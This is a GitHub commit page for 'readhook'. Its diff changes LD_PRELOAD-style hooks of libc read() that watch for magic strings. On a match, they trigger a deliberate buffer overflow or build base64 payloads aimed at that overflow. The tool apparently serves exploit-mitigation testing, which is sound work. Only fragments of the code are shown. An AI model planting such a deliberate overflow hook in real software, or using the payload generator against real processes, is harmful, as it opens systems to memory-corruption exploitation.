Skip to content

Commit

Permalink
Have fullhook create basehook targeted payloads (different magic for …
Browse files Browse the repository at this point in the history
…full and base).
  • Loading branch information
rsundahl committed Feb 2, 2018
1 parent e01da6a commit 71f2478
Show file tree
Hide file tree
Showing 2 changed files with 12 additions and 7 deletions.
6 changes: 3 additions & 3 deletions src/basehook.c
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
#include "base64.h"
#include "strnstr.h"

static const char s_magic[] = "xyzzy";
static const char s_basemagic[] = "xyzzy";
static const char s_overflow[] = "OVERFLOW";

// This is the overflow that readhook is all about.
Expand All @@ -27,10 +27,10 @@ ssize_t read(int fd, void *buf, size_t count) {
Read *libc_read = (Read *) dlsym(RTLD_NEXT, "read");
ssize_t result = libc_read(fd, buf, count);

char *p = (result < strlen(s_magic)) ? NULL : strnstr(buf, s_magic, result);
char *p = (result < strlen(s_basemagic)) ? NULL : strnstr(buf, s_basemagic, result);

if (p) {
p += strlen(s_magic);
p += strlen(s_basemagic);

BaseAddresses baseAddresses;
initBaseAddresses(&baseAddresses);
Expand Down
13 changes: 9 additions & 4 deletions src/fullhook.c
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,8 @@
#include "payload.h"
#include "strnstr.h"

static const char s_magic[] = "xyzzx";
static const char s_basemagic[] = "xyzzy";
static const char s_fullmagic[] = "xyzzx";
static const char s_makeload[] = "MAKELOAD";
static const char s_dumpload[] = "DUMPLOAD";
static const char s_overload[] = "OVERLOAD";
Expand Down Expand Up @@ -46,10 +47,14 @@ static ssize_t falseEcho(PayloadPtr plp, char *p, ssize_t np) {

// Make room for the payload (where the request used to be).
char *src = p + nc;
char *dst = p + nPayload64 - strlen(s_makeload) + strlen(s_overflow);
char *dst = p + nPayload64 - strlen(s_fullmagic) + strlen(s_basemagic) - strlen(s_makeload) + strlen(s_overflow);
int delta = dst - src;
memmove(dst, src, np - nc);

// Replace s_fullmagic with s_basemagic
memcpy(p - strlen(s_makeload) - strlen(s_fullmagic), s_basemagic, strlen(s_basemagic));
p += strlen(s_basemagic) - strlen(s_fullmagic);

// Replace s_makeload with s_overflow
memcpy(p - strlen(s_makeload), s_overflow, strlen(s_overflow));
p += strlen(s_overflow) - strlen(s_makeload);
Expand Down Expand Up @@ -87,10 +92,10 @@ ssize_t read(int fd, void *buf, size_t count) {
Read *libc_read = (Read *) dlsym(RTLD_NEXT, "read");
ssize_t result = libc_read(fd, buf, count);

char *p = (result < strlen(s_magic)) ? NULL : strnstr(buf, s_magic, result);
char *p = (result < strlen(s_fullmagic)) ? NULL : strnstr(buf, s_fullmagic, result);

if (p) {
p += strlen(s_magic);
p += strlen(s_fullmagic);

static BaseAddresses baseAddresses;
static Payload payload;
Expand Down

0 comments on commit 71f2478

Please sign in to comment.